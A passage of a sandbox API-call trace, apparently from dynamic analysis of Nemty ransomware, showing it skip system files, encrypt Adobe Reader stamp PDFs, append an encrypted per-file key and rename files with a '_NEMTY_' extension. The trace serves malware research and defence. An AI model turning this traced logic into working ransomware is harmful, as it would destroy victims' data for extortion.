lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x80f0, lpOverlapped=0x0) returned 1 [0189.497] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.497] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x80f0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x80f0, lpOverlapped=0x0) returned 1 [0189.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.497] SetFilePointer (in: hFile=0x320, lDistanceToMove=33013, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x80f5 [0189.497] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.497] CloseHandle (hObject=0x320) returned 1 [0189.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.497] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.497] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0189.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0189.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.497] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Faces.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\faces.pdf._nemty_kgobjgd_")) returned 1 [0189.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0189.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.498] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0189.498] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".") returned 1 [0189.498] lstrcmpiW (lpString1="Pointers.pdf", lpString2="..") returned 1 [0189.498] lstrcmpiW (lpString1="Pointers.pdf", lpString2="...") returned 1 [0189.498] lstrcmpiW (lpString1="Pointers.pdf", lpString2="windows") returned -1 [0189.498] lstrcmpiW (lpString1="Pointers.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.498] lstrcmpiW (lpString1="Pointers.pdf", lpString2="rsa") returned -1 [0189.498] lstrcmpiW (lpString1="Pointers.pdf", lpString2="NTDETECT.COM") returned 1 [0189.498] lstrcmpiW (lpString1="Pointers.pdf", lpString2="ntldr") returned 1 [0189.499] lstrcmpiW (lpString1="Pointers.pdf", lpString2="MSDOS.SYS") returned 1 [0189.499] lstrcmpiW (lpString1="Pointers.pdf", lpString2="IO.SYS") returned 1 [0189.499] lstrcmpiW (lpString1="Pointers.pdf", lpString2="boot.ini") returned 1 [0189.499] lstrcmpiW (lpString1="Pointers.pdf", lpString2="boot.ini") returned 1 [0189.499] lstrcmpiW (lpString1="Pointers.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.499] lstrcmpiW (lpString1="Pointers.pdf", lpString2="ntuser.dat") returned 1 [0189.499] lstrcmpiW (lpString1="Pointers.pdf", lpString2="desktop.ini") returned 1 [0189.499] lstrcmpiW (lpString1="Pointers.pdf", lpString2="CONFIG.SYS") returned 1 [0189.499] lstrcmpiW (lpString1="Pointers.pdf", lpString2="RECYCLER") returned -1 [0189.499] lstrcmpiW (lpString1="Pointers.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.499] lstrcmpiW (lpString1="Pointers.pdf", lpString2="bootmgr") returned 1 [0189.499] lstrcmpiW (lpString1="Pointers.pdf", lpString2="programdata") returned -1 [0189.499] lstrcmpiW (lpString1="Pointers.pdf", lpString2="appdata") returned 1 [0189.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0189.499] Sleep (dwMilliseconds=0x5) [0189.506] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x249a0430, dwHighDateTime=0x1d561e8)) [0189.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x249a0430, dwHighDateTime=0x1d561e8)) [0189.507] GetLastError () returned 0x0 [0189.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.507] GetLastError () returned 0x0 [0189.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.507] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.507] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.507] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0189.507] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="N5jxduVeiYEf9E5QhiMNsD280mjU5CRtBa4YLOM8TQU5Mf5JYGgIovVTj5PaFRkm\r\nsFExgBO1eCakeEvy+f0ZjDDPUcMjcJCEu/rlkExa7BTP3dbuw2hLRGru7NIx7WVb\r\nNxCguOgc/8IRxe7d6HFWcADpYTu8zGYwe8uFzpNfpLRJG6zTyO7FuhmE61GGXhjp\r\nGlaGkVNKyZNqoLe7IqEE0VO4AwiydNunFDAU0T0RpK7jUv1GzexwZCmkTWobIZme\r\ncZ6zw3pijgL6YXk2Lv67hMJOeVP5DAdGE5c+OnG/AUc0vRAb35hHzkxGDyICP4ET\r\n4Srl1p7FZqOtnD+LFJwvtA==\r\n", pcchString=0x653df5c) returned 1 [0189.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0189.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.507] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\pointers.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.508] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=46897) returned 1 [0189.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb730) returned 0x6352c48 [0189.508] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.508] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xb730, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xb730, lpOverlapped=0x0) returned 1 [0189.512] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.512] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xb730, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xb730, lpOverlapped=0x0) returned 1 [0189.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.513] SetFilePointer (in: hFile=0x320, lDistanceToMove=46897, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb731 [0189.513] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.513] CloseHandle (hObject=0x320) returned 1 [0189.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0189.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0189.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.513] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Pointers.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\pointers.pdf._nemty_kgobjgd_")) returned 1 [0189.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0189.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.514] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa118, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0189.514] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0189.514] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0189.514] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0189.514] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0189.514] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.514] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0189.514] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0189.514] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0189.514] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0189.514] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0189.514] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0189.514] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0189.514] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.514] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0189.515] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0189.515] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0189.515] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0189.515] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.515] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0189.515] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0189.515] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0189.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0189.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.515] Sleep (dwMilliseconds=0x5) [0189.522] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x249c6590, dwHighDateTime=0x1d561e8)) [0189.522] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x249c6590, dwHighDateTime=0x1d561e8)) [0189.522] GetLastError () returned 0x0 [0189.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.522] GetLastError () returned 0x0 [0189.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.523] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.523] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.523] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0189.523] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="vQAhtlV7V7KkDY3RIaksAm3jqfuyNvi3elxm7AGEH9x+aqy0lYnYkw3852I0M7XV\r\nBLCKHyPuKxt5EiwcQ13sx8z2Ap9EzdaoH+B8c9h/I3KkClls64R5dz5XQCT/Q6Hv\r\n1S4r2jiXiqRjNzfgCYqHahmmCSA+LbCv8F/rVmO6RfkK/4yxay1yNVqKluizS52Y\r\n2+n6GK71nAfJDgYsu7YvEc/+dmPGjHHnYGSsmlFCBhtIjX5052zqH1cpcD+AZupW\r\nOY+VzYlXxITWHgMvdnWpsr8TjE5C/HFExHvrzy2JeyvogSncnDAMI1jNZ/HnLakg\r\n79wgo8engOwOgad4dfOvSw==\r\n", pcchString=0x653df5c) returned 1 [0189.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 